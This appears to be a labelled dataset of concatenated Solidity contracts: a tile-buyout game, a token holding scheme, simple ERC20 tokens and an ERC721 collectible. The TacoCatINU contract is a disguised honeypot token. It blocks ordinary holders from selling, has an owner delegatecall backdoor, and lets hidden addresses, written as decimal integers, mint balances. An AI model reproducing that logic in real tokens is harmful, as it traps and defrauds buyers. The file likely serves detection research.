for (int256 dy = -1; dy <= 1; dy++) {
if (dx == 0 && dy == 0) {
continue;
}
uint256 nx = uint256(int256(x) + dx);
uint256 ny = uint256(int256(y) + dy);
if (nx >= gameSettings[gameIndex].cols || ny >= gameSettings[gameIndex].rows) {
continue;
}
uint256 neighborIdentifier = coordinateToIdentifier(
nx,
ny
);
if (gameStates[gameIndex].identifierToOwner[neighborIdentifier] != address(0x0)) {
_tiles[claimed] = neighborIdentifier;
claimed++;
}
}
}
uint256[] memory tiles = new uint256[](claimed);
for (uint256 i = 0; i < claimed; i++) {
tiles[i] = _tiles[i];
}
return tiles;
}
function nextBuyoutPrice(uint256 price) public pure returns (uint256) {
if (price < 0.02 ether) {
return price.mul(200).div(100);
} else {
return price.mul(150).div(100);
}
}
function _assignBuyoutProceeds(
address currentOwner,
uint256[] memory claimedSurroundingTiles,
uint256 fee,
uint256 currentOwnerWinnings,
uint256 totalDividendPerBeneficiary,
uint256 referralBonus,
uint256 prizePoolFunds
)
internal
{
if (currentOwner != 0x0) {
_sendFunds(currentOwner, currentOwnerWinnings);
} else {
fee = fee.add(currentOwnerWinnings);
}
for (uint256 i = 0; i < claimedSurroundingTiles.length; i++) {
address beneficiary = gameStates[gameIndex].identifierToOwner[claimedSurroundingTiles[i]];
_sendFunds(beneficiary, totalDividendPerBeneficiary);
}
address referrer1 = burnupHolding.referrerOf(msg.sender);
if (referrer1 != 0x0) {
_sendFunds(referrer1, referralBonus);
address referrer2 = burnupHolding.referrerOf(referrer1);
if (referrer2 != 0x0) {
_sendFunds(referrer2, referralBonus);
} else {
fee = fee.add(referralBonus);
}
} else {
fee = fee.add(referralBonus.mul(2));
}
burnupHolding.payBeneficiaries.value(fee)();
gameStates[gameIndex].prizePool = gameStates[gameIndex].prizePool.add(prizePoolFunds);
}
function _calculateAndAssignBuyoutProceeds(address currentOwner, uint256 _deedId, uint256[] memory claimedSurroundingTiles)
internal
returns (uint256 price)
{
if (currentOwner == 0x0) {
price = gameSettings[gameIndex].unclaimedTilePrice;
} else {
price = gameStates[gameIndex].identifierToBuyoutPrice[_deedId];
}
uint256 variableDividends = price.mul(gameSettings[gameIndex].buyoutDividendPercentage).div(100000);
uint256 fee = price.mul(gameSettings[gameIndex].buyoutFeePercentage).div(100000);
uint256 referralBonus = price.mul(gameSettings[gameIndex].buyoutReferralBonusPercentage).div(100000);
uint256 prizePoolFunds = price.mul(gameSettings[gameIndex].buyoutPrizePoolPercentage).div(100000);
uint256 currentOwnerWinnings = price.sub(fee).sub(referralBonus.mul(2)).sub(prizePoolFunds);
uint256 totalDividendPerBeneficiary;
if (claimedSurroundingTiles.length > 0) {
totalDividendPerBeneficiary = variableDividends / claimedSurroundingTiles.length;
currentOwnerWinnings = currentOwnerWinnings.sub(variableDividends);
}
_assignBuyoutProceeds(
currentOwner,
claimedSurroundingTiles,
fee,
currentOwnerWinnings,
totalDividendPerBeneficiary,
referralBonus,
prizePoolFunds
);
}
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
}
contract BurnupGameCore is BurnupGameFinance {
function BurnupGameCore(address burnupHoldingAddress) public BurnupGameFinance(burnupHoldingAddress) {}
function buyout(uint256 _gameIndex, bool startNewGameIfIdle, uint256 x, uint256 y) public payable {
_processGameEnd();
if (!gameStates[gameIndex].gameStarted) {
require(!paused);
require(startNewGameIfIdle);
gameSettings[gameIndex] = nextGameSettings;
gameStates[gameIndex].gameStarted = true;
gameStates[gameIndex].gameStartTimestamp = block.timestamp;
Start(gameIndex, msg.sender, block.timestamp, gameStates[gameIndex].prizePool, gameSettings[gameIndex].rows, gameSettings[gameIndex].cols, gameSettings[gameIndex].activityTimer, gameSettings[gameIndex].unclaimedTilePrice, gameSettings[gameIndex].buyoutReferralBonusPercentage, gameSettings[gameIndex].buyoutPrizePoolPercentage, gameSettings[gameIndex].buyoutDividendPercentage, gameSettings[gameIndex].buyoutFeePercentage);
}
if (startNewGameIfIdle) {
require(_gameIndex == gameIndex || _gameIndex.add(1) == gameIndex);
} else {
require(_gameIndex == gameIndex);
}
uint256 identifier = coordinateToIdentifier(x, y);
address currentOwner = gameStates[gameIndex].identifierToOwner[identifier];
if (currentOwner == address(0x0)) {
require(gameStates[gameIndex].gameStartTimestamp.add(gameSettings[gameIndex].activityTimer) >= block.timestamp);
} else {
require(gameStates[gameIndex].identifierToBuyoutTimestamp[identifier].add(gameSettings[gameIndex].activityTimer) >= block.timestamp);
}
uint256[] memory claimedSurroundingTiles = _claimedSurroundingTiles(identifier);
uint256 price = _calculateAndAssignBuyoutProceeds(currentOwner, identifier, claimedSurroundingTiles);
require(msg.value >= price);
_transfer(currentOwner, msg.sender, identifier);
gameStates[gameIndex].lastFlippedTile = identifier;
gameStates[gameIndex].identifierToBuyoutPrice[identifier] = nextBuyoutPrice(price);
gameStates[gameIndex].identifierToBuyoutTimestamp[identifier] = block.timestamp;
Buyout(gameIndex, msg.sender, identifier, x, y, block.timestamp, block.timestamp + gameSettings[gameIndex].activityTimer, gameStates[gameIndex].identifierToBuyoutPrice[identifier], gameStates[gameIndex].prizePool);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function buyoutAndSetReferrer(uint256 _gameIndex, bool startNewGameIfIdle, uint256 x, uint256 y, address referrerAddress) external payable {
burnupHolding.setReferrer(msg.sender, referrerAddress);
buyout(_gameIndex, startNewGameIfIdle, x, y);
}
function spiceUp(uint256 _gameIndex, string message) external payable {
_processGameEnd();
require(_gameIndex == gameIndex);
require(gameStates[gameIndex].gameStarted || !paused);
require(msg.value > 0);
gameStates[gameIndex].prizePool = gameStates[gameIndex].prizePool.add(msg.value);
SpiceUpPrizePool(gameIndex, msg.sender, msg.value, message, gameStates[gameIndex].prizePool);
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
address currentOwner = gameStates[gameIndex].identifierToOwner[gameStates[gameIndex].lastFlippedTile];
if (!gameStates[gameIndex].gameStarted) {
return false;
}
if (currentOwner == address(0x0)) {
return false;
}
if (gameStates[gameIndex].identifierToBuyoutTimestamp[gameStates[gameIndex].lastFlippedTile].add(gameSettings[gameIndex].activityTimer) >= block.timestamp) {
return false;
}
if (gameStates[gameIndex].prizePool > 0) {
_sendFunds(currentOwner, gameStates[gameIndex].prizePool);
}
var (x, y) = identifierToCoordinate(gameStates[gameIndex].lastFlippedTile);
End(gameIndex, currentOwner, gameStates[gameIndex].lastFlippedTile, x, y, gameStates[gameIndex].identifierToBuyoutTimestamp[gameStates[gameIndex].lastFlippedTile].add(gameSettings[gameIndex].activityTimer), gameStates[gameIndex].prizePool);
gameIndex++;
return true;
}
} | 0 | 108 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Math {
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract LRCMidTermHoldingContract {
using SafeMath for uint;
using Math for uint;
uint public constant DEPOSIT_WINDOW = 60 days;
uint public constant WITHDRAWAL_DELAY = 180 days;
uint public constant WITHDRAWAL_WINDOW = 90 days;
uint public constant MAX_LRC_DEPOSIT_PER_ADDRESS = 150000 ether;
uint public constant RATE = 7500;
address public lrcTokenAddress = 0x0;
address public owner = 0x0;
uint public lrcReceived = 0;
uint public lrcSent = 0;
uint public ethReceived = 0;
uint public ethSent = 0;
uint public depositStartTime = 0;
uint public depositStopTime = 0;
bool public closed = false;
struct Record {
uint lrcAmount;
uint timestamp;
}
mapping (address => Record) records;
event Started(uint _time);
uint public depositId = 0;
event Deposit(uint _depositId, address indexed _addr, uint _ethAmount, uint _lrcAmount);
uint public withdrawId = 0;
event Withdrawal(uint _withdrawId, address indexed _addr, uint _ethAmount, uint _lrcAmount);
event Closed(uint _ethAmount, uint _lrcAmount);
event Drained(uint _ethAmount);
function LRCMidTermHoldingContract(address _lrcTokenAddress, address _owner) {
require(_lrcTokenAddress != address(0));
require(_owner != address(0));
lrcTokenAddress = _lrcTokenAddress;
owner = _owner;
}
function drain(uint ethAmount) public payable {
require(!closed);
require(msg.sender == owner);
uint amount = ethAmount.min256(this.balance);
require(amount > 0);
owner.transfer(amount);
Drained(amount);
}
function start() public {
require(msg.sender == owner);
require(depositStartTime == 0);
depositStartTime = now;
depositStopTime = now + DEPOSIT_WINDOW;
Started(depositStartTime);
}
function close() public payable {
require(!closed);
require(msg.sender == owner);
require(now > depositStopTime + WITHDRAWAL_DELAY + WITHDRAWAL_WINDOW);
uint ethAmount = this.balance;
if (ethAmount > 0) {
owner.transfer(ethAmount);
}
var lrcToken = Token(lrcTokenAddress);
uint lrcAmount = lrcToken.balanceOf(address(this));
if (lrcAmount > 0) {
require(lrcToken.transfer(owner, lrcAmount));
}
closed = true;
Closed(ethAmount, lrcAmount);
}
function () payable {
require(!closed);
if (msg.sender != owner) {
if (now <= depositStopTime) depositLRC();
else withdrawLRC();
}
}
function depositLRC() payable {
require(!closed && msg.sender != owner);
require(now <= depositStopTime);
require(msg.value == 0);
var record = records[msg.sender];
var lrcToken = Token(lrcTokenAddress);
uint lrcAmount = this.balance.mul(RATE)
.min256(lrcToken.balanceOf(msg.sender))
.min256(lrcToken.allowance(msg.sender, address(this)))
.min256(MAX_LRC_DEPOSIT_PER_ADDRESS - record.lrcAmount);
uint ethAmount = lrcAmount.div(RATE);
lrcAmount = ethAmount.mul(RATE);
require(lrcAmount > 0 && ethAmount > 0);
record.lrcAmount += lrcAmount;
record.timestamp = now;
records[msg.sender] = record;
lrcReceived += lrcAmount;
ethSent += ethAmount;
Deposit(
depositId++,
msg.sender,
ethAmount,
lrcAmount
);
require(lrcToken.transferFrom(msg.sender, address(this), lrcAmount));
msg.sender.transfer(ethAmount);
}
function withdrawLRC() payable {
require(!closed && msg.sender != owner);
require(now > depositStopTime);
require(msg.value > 0);
var record = records[msg.sender];
require(now >= record.timestamp + WITHDRAWAL_DELAY);
require(now <= record.timestamp + WITHDRAWAL_DELAY + WITHDRAWAL_WINDOW);
uint ethAmount = msg.value.min256(record.lrcAmount.div(RATE));
uint lrcAmount = ethAmount.mul(RATE);
record.lrcAmount -= lrcAmount;
if (record.lrcAmount == 0) {
delete records[msg.sender];
} else {
records[msg.sender] = record;
}
lrcSent += lrcAmount;
ethReceived += ethAmount;
Withdrawal(
withdrawId++,
msg.sender,
ethAmount,
lrcAmount
);
require(Token(lrcTokenAddress).transfer(msg.sender, lrcAmount));
uint ethRefund = msg.value - ethAmount;
if (ethRefund > 0) {
msg.sender.transfer(ethRefund);
}
}
function getLRCAmount(address addr) public constant returns (uint) {
return records[addr].lrcAmount;
}
function getTimestamp(address addr) public constant returns (uint) {
return records[addr].timestamp;
}
} | 1 | 3,624 |
pragma solidity ^ 0.4 .9;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Digitaltoken {
using SafeMath
for uint256;
mapping(address => mapping(address => uint256)) allowed;
mapping(address => uint256) balances;
uint256 public totalSupply;
uint256 public decimals;
address public owner;
bytes32 public symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed spender, uint256 value);
function Digitaltoken() {
totalSupply = 150000;
symbol = 'dgt';
owner = 0x9732ACB2Ae50E69530e93bC95a895FA424E07d7B;
balances[owner] = totalSupply;
decimals = 0;
}
function balanceOf(address _owner) constant returns(uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) constant returns(uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) returns(bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) returns(bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns(bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function() {
revert();
}
} | 1 | 4,011 |
pragma solidity ^0.4.18;
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract PornstarToken is ERC721 {
event Birth(uint256 tokenId, string name, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "CryptoPornstars";
string public constant SYMBOL = "PornstarToken";
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 3000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
mapping (uint256 => address) public personIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) public personIndexToApproved;
mapping (uint256 => uint256) private personIndexToPrice;
address public ceoAddress;
address public cooAddress;
uint256 public promoCreatedCount;
struct Person {
string name;
}
Person[] private persons;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
function PornstarToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function approve(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
personIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function createPromoPerson(address _owner, string _name, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address personOwner = _owner;
if (personOwner == address(0)) {
personOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createPerson(_name, personOwner, _price);
}
function createContractPerson(string _name) public onlyCOO {
_createPerson(_name, address(this), startingPrice);
}
function getPerson(uint256 _tokenId) public view returns (
string personName,
uint256 sellingPrice,
address owner
) {
Person storage person = persons[_tokenId];
personName = person.name;
sellingPrice = personIndexToPrice[_tokenId];
owner = personIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = personIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = personIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = personIndexToPrice[_tokenId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 94), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
if (sellingPrice < firstStepLimit) {
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 94);
} else if (sellingPrice < secondStepLimit) {
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 94);
} else {
personIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 94);
}
_transfer(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
TokenSold(_tokenId, sellingPrice, personIndexToPrice[_tokenId], oldOwner, newOwner, persons[_tokenId].name);
msg.sender.transfer(purchaseExcess);
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return personIndexToPrice[_tokenId];
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = personIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPersons = totalSupply();
uint256 resultIndex = 0;
uint256 personId;
for (personId = 0; personId <= totalPersons; personId++) {
if (personIndexToOwner[personId] == _owner) {
result[resultIndex] = personId;
resultIndex++;
}
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return persons.length;
}
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return personIndexToApproved[_tokenId] == _to;
}
function _createPerson(string _name, address _owner, uint256 _price) private {
Person memory _person = Person({
name: _name
});
uint256 newPersonId = persons.push(_person) - 1;
require(newPersonId == uint256(uint32(newPersonId)));
Birth(newPersonId, _name, _owner);
personIndexToPrice[newPersonId] = _price;
_transfer(address(0), _owner, newPersonId);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == personIndexToOwner[_tokenId];
}
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
personIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete personIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 3,337 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract TacoCatINU {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,360 |
pragma solidity 0.4.15;
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract Owned {
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
address public owner;
function Owned() {
owner = msg.sender;
}
address public newOwner;
function changeOwner(address _newOwner) onlyOwner {
